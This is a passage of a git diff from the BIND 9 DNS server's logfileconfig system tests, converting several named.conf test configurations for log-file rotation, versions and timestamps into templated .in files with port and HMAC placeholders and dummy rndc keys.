+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	dnssec-validation no;
+	recursion no;
+	notify yes;
+};
+
+logging {
+	channel default_log {
+	  buffered no;
+	  file "@TMPDIR@/example.log" versions 1 size 1k suffix increment; # small size
+	  severity debug 100;
+	  print-time yes;
+	};
+	category default { default_log; default_debug; };
+	category lame-servers { null; };
+
+	channel query_log {
+	  file "query_log";
+	  print-time yes;
+	  buffered yes;
+	};
+	category queries { query_log; };
+};
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { "rndc-key"; };
+};
+
+key rndc-key {
+	secret "1234abcd8765";
+	algorithm hmac-sha256;
+};
diff --git a/bin/tests/system/logfileconfig/ns1/named.dirconf b/bin/tests/system/logfileconfig/ns1/named.dirconf
deleted file mode 100644
index e64ca456f3..0000000000
--- a/bin/tests/system/logfileconfig/ns1/named.dirconf
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	query-source address 10.53.0.1;
-	notify-source 10.53.0.1;
-	transfer-source 10.53.0.1;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-	recursion no;
-	notify yes;
-};
-
-logging {
-	channel default_log {
-	  file "named_dir";
-	  print-time yes;
-	};
-	category default { default_log; default_debug; };
-	category lame-servers { null; };
-};
-
-include "controls.conf";
-
-key "rndc-key" {
-	algorithm hmac-sha256;
-	secret "Am9vCg==";
-};
-
-zone "." {
-	type primary;
-	file "root.db";
-};
diff --git a/bin/tests/system/logfileconfig/ns1/named.dirconf.in b/bin/tests/system/logfileconfig/ns1/named.dirconf.in
new file mode 100644
index 0000000000..d6ee1346e7
--- /dev/null
+++ b/bin/tests/system/logfileconfig/ns1/named.dirconf.in
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	dnssec-validation no;
+	recursion no;
+	notify yes;
+};
+
+logging {
+	channel default_log {
+	  file "/tmp";
+	  print-time yes;
+	};
+	category default { default_log; default_debug; };
+	category lame-servers { null; };
+};
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { "rndc-key"; };
+};
+
+key rndc-key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
diff --git a/bin/tests/system/logfileconfig/ns1/named.incconf.in b/bin/tests/system/logfileconfig/ns1/named.incconf.in
new file mode 100644
index 0000000000..d398c330eb
--- /dev/null
+++ b/bin/tests/system/logfileconfig/ns1/named.incconf.in
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	dnssec-validation no;
+	recursion no;
+	notify yes;
+};
+
+logging {
+	channel default_log {
+	  buffered no;
+	  file "named_inc" versions 1 size 1k suffix increment; # small size
+	  severity debug 100;
+	  print-time yes;
+	};
+	category default { default_log; default_debug; };
+	category lame-servers { null; };
+
+	channel query_log {
+	  file "query_log";
+	  print-time yes;
+	  buffered yes;
+	};
+	category queries { query_log; };
+};
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { "rndc-key"; };
+};
+
+key rndc-key {
+	secret "1234abcd8765";
+	algorithm hmac-sha256;
+};
diff --git a/bin/tests/system/logfileconfig/ns1/named.iso8601 b/bin/tests/system/logfileconfig/ns1/named.iso8601
deleted file mode 100644
index b8ad96c9bf..0000000000
--- a/bin/tests/system/logfileconfig/ns1/named.iso8601
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	query-source address 10.53.0.1;
-	notify-source 10.53.0.1;
-	transfer-source 10.53.0.1;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-	recursion no;
-	notify yes;
-};
-
-logging {
-	channel default_log {
-		file "named_iso8601";
-		print-time iso8601;
-		severity debug 9;
-	};
-	category default { default_log; default_debug; };
-};
-
-include "controls.conf";
-
-key "rndc-key" {
-	algorithm hmac-sha256;
-	secret "Am9vCg==";
-};
-
-zone "." {
-	type primary;
-	file "root.db";
-};
diff --git a/bin/tests/system/logfileconfig/ns1/named.iso8601-utc b/bin/tests/system/logfileconfig/ns1/named.iso8601-utc
deleted file mode 100644
index 186abd1b0b..0000000000
--- a/bin/tests/system/logfileconfig/ns1/named.iso8601-utc
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	query-source address 10.53.0.1;
-	notify-source 10.53.0.1;
-	transfer-source 10.53.0.1;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-	recursion no;
-	notify yes;
-};
-
-logging {
-	channel default_log {
-		file "named_iso8601_utc";
-		print-time iso8601-utc;
-		severity debug 9;
-	};
-	category default { default_log; default_debug; };
-};
-
-include "controls.conf";
-
-key "rndc-key" {
-	algorithm hmac-sha256;
-	secret "Am9vCg==";
-};
-
-zone "." {
-	type primary;
-	file "root.db";
-};
diff --git a/bin/tests/system/logfileconfig/ns1/named.iso8601-utc.in b/bin/tests/system/logfileconfig/ns1/named.iso8601-utc.in
new file mode 100644
index 0000000000..6ac14dfa6c
--- /dev/null
+++ b/bin/tests/system/logfileconfig/ns1/named.iso8601-utc.in
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	dnssec-validation no;
+	recursion no;
+	notify yes;
+};
+
+logging {
+	channel default_log {
+		file "named_iso8601_utc";
+		print-time iso8601-utc;
+		severity debug 9;
+	};
+	category default { default_log; default_debug; };
+};
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { "rndc-key"; };
+};
+
+key rndc-key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
diff --git a/bin/tests/system/logfileconfig/ns1/named.iso8601.in b/bin/tests/system/logfileconfig/ns1/named.iso8601.in
new file mode 100644
index 0000000000..5a1bd5e31e
--- /dev/null
+++ b/bin/tests/system/logfileconfig/ns1/named.iso8601.in
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	dnssec-validation no;
+	recursion no;
+	notify yes;
+};
+
+logging {
+	channel default_log {
+		file "named_iso8601";
+		print-time iso8601;
+		severity debug 9;
+	};
+	category default { default_log; default_debug; };
+};
+
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { "rndc-key"; };
+};
+
+key rndc-key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
diff --git a/bin/tests/system/logfileconfig/ns1/named.pipeconf b/bin/tests/system/logfileconfig/ns1/named.pipeconf
deleted file mode 100644
index ba48fa9b8e..0000000000
--- a/bin/tests/system/logfileconfig/ns1/named.pipeconf
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	query-source address 10.53.0.1;
-	notify-source 10.53.0.1;
-	transfer-source 10.53.0.1;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-	recursion no;
-	notify yes;
-};
-
-logging {
-	channel default_log {
-	  file "named_pipe";
-	  print-time yes;
-	};
-	category default { default_log; default_debug; };
-	category lame-servers { null; };
-};
-
-include "controls.conf";
-
-key "rndc-key" {
-	algorithm hmac-sha256;
-	secret "Am9vCg==";
-};
-
-zone "." {
-	type primary;
-	file "root.db";
-};
diff --git a/bin/tests/system/logfileconfig/ns1/named.pipeconf.in b/bin/tests/system/logfileconfig/ns1/named.pipeconf.in
new file mode 100644
index 0000000000..8f2ec63a44
--- /dev/null
+++ b/bin/tests/system/logfileconfig/ns1/named.pipeconf.in
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	dnssec-validation no;
+	recursion no;
+	notify yes;
+};
+
+logging {
+	channel default_log {
+	  file "named_pipe";
+	  print-time yes;
+	};
+	category default { default_log; default_debug; };
+	category lame-servers { null; };
+};
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { "rndc-key"; };
+};
+
+key rndc-key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
diff --git a/bin/tests/system/logfileconfig/ns1/named.plain b/bin/tests/system/logfileconfig/ns1/named.plain
deleted file mode 100644
index fff82940bf..0000000000
--- a/bin/tests/system/logfileconfig/ns1/named.plain
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	query-source address 10.53.0.1;
-	notify-source 10.53.0.1;
-	transfer-source 10.53.0.1;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-	recursion no;
-	notify yes;
-};
-
-logging {
-	channel default_log {
-	  file "named_log";
-	  print-time yes;
-	};
-	category default { default_log; default_debug; };
-	category lame-servers { null; };
-
-	channel query_log {
-	  file "query_log";
-	  print-time yes;
-	  buffered yes;
-	};
-	category queries { query_log; };
-};
-
-include "controls.conf";
-
-key "rndc-key" {
-	algorithm hmac-sha256;
-	secret "Am9vCg==";
-};
-
-
-zone "." {
-	type primary;
-	file "root.db";
-};
diff --git a/bin/tests/system/logfileconfig/ns1/named.plain.in b/bin/tests/system/logfileconfig/ns1/named.plain.in
new file mode 100644
index 0000000000..f31906b76c
--- /dev/null
+++ b/bin/tests/system/logfileconfig/ns1/named.plain.in
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	dnssec-validation no;
+	recursion no;
+	notify yes;
+};
+
+logging {
+	channel default_log {
+	  file "named_log";
+	  print-time yes;
+	};
+	category default { default_log; default_debug; };
+	category lame-servers { null; };
+
+	channel query_log {
+	  file "query_log";
+	  print-time yes;
+	  buffered yes;
+	};
+	category queries { query_log; };
+};
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { "rndc-key"; };
+};
+
+key rndc-key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
diff --git a/bin/tests/system/logfileconfig/ns1/named.plainconf b/bin/tests/system/logfileconfig/ns1/named.plainconf
deleted file mode 100644
index 3b6054a3da..0000000000
--- a/bin/tests/system/logfileconfig/ns1/named.plainconf
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	query-source address 10.53.0.1;
-	notify-source 10.53.0.1;
-	transfer-source 10.53.0.1;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-	recursion no;
-	notify yes;
-};
-
-include "controls.conf";
-
-key "rndc-key" {
-	algorithm hmac-sha256;
-	secret "Am9vCg==";
-};
-
-zone "." {
-	type primary;
-	file "root.db";
-};
diff --git a/bin/tests/system/logfileconfig/ns1/named.plainconf.in b/bin/tests/system/logfileconfig/ns1/named.plainconf.in
new file mode 100644
index 0000000000..d8dd5f5ce1
--- /dev/null
+++ b/bin/tests/system/logfileconfig/ns1/named.plainconf.in
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	dnssec-validation no;
+	recursion no;
+	notify yes;
+};
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { "rndc-key"; };
+};
+
+key rndc-key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
diff --git a/bin/tests/system/logfileconfig/ns1/named.symconf b/bin/tests/system/logfileconfig/ns1/named.symconf
deleted file mode 100644
index 32b0d1507d..0000000000
--- a/bin/tests/system/logfileconfig/ns1/named.symconf
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	query-source address 10.53.0.1;
-	notify-source 10.53.0.1;
-	transfer-source 10.53.0.1;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-	recursion no;
-	notify yes;
-};
-
-logging {
-	channel default_log {
-	  file "named_sym";
-	  print-time yes;
-	};
-	category default { default_log; default_debug; };
-	category lame-servers { null; };
-};
-
-include "controls.conf";
-
-key "rndc-key" {
-	algorithm hmac-sha256;
-	secret "Am9vCg==";
-};
-
-zone "." {
-	type primary;
-	file "root.db";
-};
diff --git a/bin/tests/system/logfileconfig/ns1/named.symconf.in b/bin/tests/system/logfileconfig/ns1/named.symconf.in
new file mode 100644
index 0000000000..96033651d3
--- /dev/null
+++ b/bin/tests/system/logfileconfig/ns1/named.symconf.in
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	dnssec-validation no;
+	recursion no;
+	notify yes;
+};
+
+logging {
+	channel default_log {
+	  file "named_sym";
+	  print-time yes;
+	};
+	category default { default_log; default_debug; };
+	category lame-servers { null; };
+};
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { "rndc-key"; };
+};
+
+key rndc-key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
diff --git a/bin/tests/system/logfileconfig/ns1/named.tsconf b/bin/tests/system/logfileconfig/ns1/named.tsconf
deleted file mode 100644
index 55df326abb..0000000000
--- a/bin/tests/system/logfileconfig/ns1/named.tsconf
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	query-source address 10.53.0.1;
-	notify-source 10.53.0.1;
-	transfer-source 10.53.0.1;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-	recursion no;
-	notify yes;
-};
-
-logging {
-	channel default_log {
-	  buffered no;
-	  file "named_ts" versions 10 size 1000 suffix timestamp; # small size
-	  severity debug 100;
-	  print-time yes;
-	};
-	category default { default_log; default_debug; };
-	category lame-servers { null; };
-
-	channel query_log {
-	  file "query_log";
-	  print-time yes;
-	  buffered yes;
-	};
-	category queries { query_log; };
-};
-
-include "controls.conf";
-
-key "rndc-key" {
-	algorithm hmac-sha256;
-	secret "Am9vCg==";
-};
-
-
-zone "." {
-	type primary;
-	file "root.db";
-};
diff --git a/bin/tests/system/logfileconfig/ns1/named.tsconf.in b/bin/tests/system/logfileconfig/ns1/named.tsconf.in
new file mode 100644
index 0000000000..7f761951fe
--- /dev/null
+++ b/bin/tests/system/logfileconfig/ns1/named.tsconf.in
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	dnssec-validation no;
+	recursion no;
+	notify yes;
+};
+
+logging {
+	channel default_log {
+	  buffered no;
+	  file "named_ts" versions 3 size 1000 suffix timestamp; # small size
+	  severity debug 100;
+	  print-time yes;
+	};
+	category default { default_log; default_debug; };
+	category lame-servers { null; };
+
+	channel query_log {
+	  file "query_log";
+	  print-time yes;
+	  buffered yes;
+	};
+	category queries { query_log; };
+};
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { "rndc-key"; };
+};
+
+key rndc-key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
diff --git a/bin/tests/system/logfileconfig/ns1/named.unlimited b/bin/tests/system/logfileconfig/ns1/named.unlimited
deleted file mode 100644
index 61080538f1..0000000000
--- a/bin/tests/system/logfileconfig/ns1/named.unlimited
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	query-source address 10.53.0.1;
-	notify-source 10.53.0.1;
-	transfer-source 10.53.0.1;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-	recursion no;
-	notify yes;
-};
-
-logging {
-	channel default_log {
-	  buffered no;
-	  file "named_unlimited" versions unlimited size 1000;
-	  severity debug 100;
-	  print-time yes;
-	};
-	category default { default_log; default_debug; };
-	category lame-servers { null; };
-
-	channel query_log {
-	  file "query_log";
-	  print-time yes;
-	  buffered yes;
-	};
-	category queries { query_log; };
-};
-
-include "controls.conf";
-
-key "rndc-key" {
-	algorithm hmac-sha256;
-	secret "Am9vCg==";
-};
-
-
-zone "." {
-	type primary;
-	file "root.db";
-};
diff --git a/bin/tests/system/logfileconfig/ns1/named.unlimited.in b/bin/tests/system/logfileconfig/ns1/named.unlimited.in
new file mode 100644
index 0000000000..f806eddd62
--- /dev/null
+++ b/bin/tests/system/logfileconfig/ns1/named.unlimited.in
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	dnssec-validation no;
+	recursion no;
+	notify yes;
+};
+
+logging {
+	channel default_log {
+	  buffered no;
+	  file "named_unlimited" versions unlimited size 1000;
+	  severity debug 100;
+	  print-time yes;
+	};
+	category default { default_log; default_debug; };
+	category lame-servers { null; };
+
+	channel query_log {
+	  file "query_log";
+	  print-time yes;
+	  buffered yes;
+	};
+	category queries { query_log; };
+};
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { "rndc-key"; };
+};
+
+key rndc-key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
diff --git a/bin/tests/system/logfileconfig/ns1/named.versconf b/bin/tests/system/logfileconfig/ns1/named.versconf
deleted file mode 100644
index 1310ba09b8..0000000000
--- a/bin/tests/system/logfileconfig/ns1/named.versconf
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	query-source address 10.53.0.1;
-	notify-source 10.53.0.1;
-	transfer-source 10.53.0.1;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-	recursion no;
-	notify yes;
-};
-
-logging {
-	channel default_log {
-	  buffered no;
-	  file "named_vers" versions 5 size 1000;	// really small size
-	  severity debug 100;
-	  print-time yes;
-	};
-	category default { default_log; default_debug; };
-	category lame-servers { null; };
-
-	channel query_log {
-	  file "query_log";
-	  print-time yes;
-	  buffered yes;
-	};
-	category queries { query_log; };
-};
-
-include "controls.conf";
-
-key "rndc-key" {
-	algorithm hmac-sha256;
-	secret "Am9vCg==";
-};
-
-
-zone "." {
-	type primary;
-	file "root.db";
-};
diff --git a/bin/tests/system/logfileconfig/ns1/named.versconf.in b/bin/tests/system/logfileconfig/ns1/named.versconf.in
new file mode 100644
index 0000000000..c30d8a376e
--- /dev/null
+++ b/bin/tests/system/logfileconfig/ns1/named.versconf.in
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	dnssec-validation no;
+	recursion no;
+	notify yes;
+};
+
+logging {
+	channel default_log {
+	  buffered no;
+	  file "named_vers" versions 5 size 1000;	// really small size
+	  severity debug 100;
+	  print-time yes;
+	};
+	category default { default_log; default_debug; };
+	category lame-servers { null; };
+
+	channel query_log {
+	  file "query_log";
+	  print-time yes;
+	  buffered yes;
+	};
+	category queries { query_log; };
+};
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { "rndc-key"; };
+};
+
+key rndc-key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
diff --git a/bin/tests/system/logfileconfig/ns1/rndc.conf.in b/bin/tests/system/logfileconfig/ns1/rndc.conf.in
deleted file mode 100644
index 7e67a2405a..0000000000
--- a/bin/tests/system/logfileconfig/ns1/rndc.conf.in
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	default-server 127.0.0.1;
-};
-
-server 127.0.0.1 {
-	key "rndc-key";
-	addresses   { 127.0.0.1 port @CONTROLPORT@; };
-};
-
-key "rndc-key" {
-	algorithm hmac-sha256;
-	secret "Am9vCg==";
-};
diff --git a/bin/tests/system/logfileconfig/ns1/root.db b/bin/tests/system/logfileconfig/ns1/root.db
deleted file mode 100644
index 8aaa4ea9fd..0000000000
